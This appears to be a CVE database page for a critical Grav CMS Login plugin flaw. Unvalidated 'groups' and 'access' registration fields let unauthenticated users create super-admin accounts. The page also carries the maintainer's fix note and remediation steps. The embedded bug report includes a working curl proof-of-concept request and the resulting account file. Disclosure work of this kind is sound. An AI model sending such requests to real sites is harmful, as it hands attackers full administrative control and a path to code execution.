Loading...
Skip to main content

CVE-2026-42613 — Vulnerability in getgrav/grav — CVE Details

CRITICAL

Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access

Published May 5, 2026Updated September 10, 2026Source: osv

Summary

# Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access ## Summary The `Login::register()` method in the Login plugin accepts attacker-controlled `groups` and `access` fields from the registration POST data without server-side validation. When registration is enabled and `groups` or `access` are included in the configured allowed fields list, an unauthenticated user can self-register with `admin.super` privileges by injecting these fields into the registration request. This is a missing server-side validation issue — the only defense is a config-level `fields` allowlist, which is an admin-facing setting, not a hardcoded security boundary. ## Affected Component - **File:** `user/plugins/login/classes/Login.php`, lines 246-306 - **Method:** `Login::register()` - **Validation:** `Login::validateField()`, lines 363-432 - **Plugin:** Login Plugin 3.8.0 - **Grav:** 1.8.0-beta.29 ## Root Cause In `register()` (lines 254-267), the `groups` and `access` fields are only set to config defaults **if they are not already present in the input data**: ```php // Line 254-260 if (!isset($data['groups'])) { $groups = (array) $this->config->get('plugins.login.user_registration.groups', []); if (count($groups) > 0) { $data['groups'] = $groups; } } // Line 262-267 if (!isset($data['access'])) { $access = (array) $this->config->get('plugins.login.user_registration.access.site', []); if (count($access) > 0) { $data['access']['site'] = $access; } } ``` If an attacker **includes** `groups` or `access` in the POST body, the `!isset()` check passes and the config defaults are skipped. The attacker's values flow through unchanged. Later (lines 298-303), these values are assigned directly to the user object: ```php if (isset($data['groups'])) { $user->groups = $data['groups']; // attacker-controlled } if (isset($data['access'])) { $user->access = $data['access']; // attacker-controlled } $user->save(); ``` The `validateField()` method (lines 363-432) has a `switch` statement that only validates: `username`, `password`, `password2`, `email`, `permissions`, `state`, and `language`. The `groups` and `access` fields pass through the `default` case with **no validation at all**. ## Precondition Registration must be enabled with `groups` and/or `access` in the configured allowed fields: ```yaml # user/config/plugins/login.yaml user_registration: enabled: true fields: - username - password - email - fullname - groups # ← enables the attack - access # ← enables the attack ``` This is a configuration the admin UI allows without any warning. An admin adding `groups` to let users pick a non-privileged group (e.g., `editors`) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected. ## Proof of Concept ### Malicious registration request (unauthenticated): ```bash curl -X POST "${TARGET}/user_register" \ --data-urlencode "data[username]=attacker" \ --data-urlencode "data[password1]=Str0ngP@ss!" \ --data-urlencode "data[password2]=Str0ngP@ss!" \ --data-urlencode "data[email]=attacker@evil.com" \ --data-urlencode "data[fullname]=Attacker" \ --data-urlencode "data[groups][]=admins" \ --data-urlencode "data[access][admin][login]=true" \ --data-urlencode "data[access][admin][super]=true" \ --data-urlencode "data[access][site][login]=true" \ --data-urlencode "form-nonce=${FORM_NONCE}" \ --data-urlencode "__form-name__=user_register" \ --data-urlencode "__unique_form_id__=${FORM_UID}" ``` ### Resulting account file (`user/accounts/attacker.yaml`): ```yaml email: attacker@evil.com fullname: Attacker groups: - admins access: admin: login: true super: true site: login: true hashed_password: ... state: enabled ``` The attacker can then log into `/admin` with full super-admin privileges. ## Impact - **Severity:** Critical (when precondition is met) - **Vector:** Unauthenticated → Super Admin - **Escalation:** Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload - **Precondition:** Registration enabled with `groups` or `access` in allowed fields — a configuration the admin UI permits without warning ## Environment - Grav Core: 1.8.0-beta.29 - Login Plugin: 3.8.0 - PHP: 8.4.11 ## Credits Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/ --- ## Maintainer note — fix applied (2026-04-24) Fixed in **grav-plugin-login 3.8.2** (commit [`3d419a0`](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at `>=3.8.2` by admin2's [`blueprints.yaml`](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0.0-beta.2** pick the fix up automatically. **What changed:** the registration form handler now explicitly skips the `groups` and `access` privilege fields in the per-field input loop — even if an administrator added them to `user_registration.fields`. A warning is logged on any attempted injection. Server-side `default_values`, invitations, and the `user_registration.{groups,access}` config remain the sole sources of those values. **Files:** - [`login.php`](https://github.com/getgrav/grav-plugin-login/blob/develop/login.php) — form handler privilege-field strip.

Advisory Timeline

  • First published May 5, 2026 (160 days ago).
  • Last revised September 10, 2026 — 127 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update getgrav/grav to 2.0.0-beta.2 or later
composer require "getgrav/grav:^2.0.0-beta.2"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
getgrav/grav
packagist
0.8.0, 0.9.0, 0.9.1, 0.9.10 (+317 more)2.0.0-beta.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-20
    Improper Input ValidationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.4 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Frequently Asked Questions

What is CVE-2026-42613?
Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.4/10).
How do I check if my project is affected by CVE-2026-42613?
CVE-2026-42613 affects getgrav/grav. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42613 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.4

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-pxm6-mhxr-q4mj

Related CVEs

  • CVE-2026-75827
    CRITICAL

    Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

  • CVE-2026-42612
    HIGH

    Grav Vulnerable to Publisher-Level Stored XSS via Unquoted Event Attributes

  • CVE-2026-65608
    HIGH

    Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation

  • CVE-2025-66296
    HIGH

    Grav vulnerable to Privilege Escalation in Grav Admin: Missing Username Uniqueness Check Allows Admin Account Takeover

  • CVE-2026-64850
    HIGH

    Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

  • CVE-2025-66299
    HIGH

    Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)

  • CVE-2025-66295
    HIGH

    Grav vulnerable to Path traversal / arbitrary YAML write via user creation leading to Account Takeover / System Corruption

  • CVE-2026-42608
    HIGH

    Grav has Unauthenticated Path Traversal & Arbitrary File Write in its FormFlash component

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies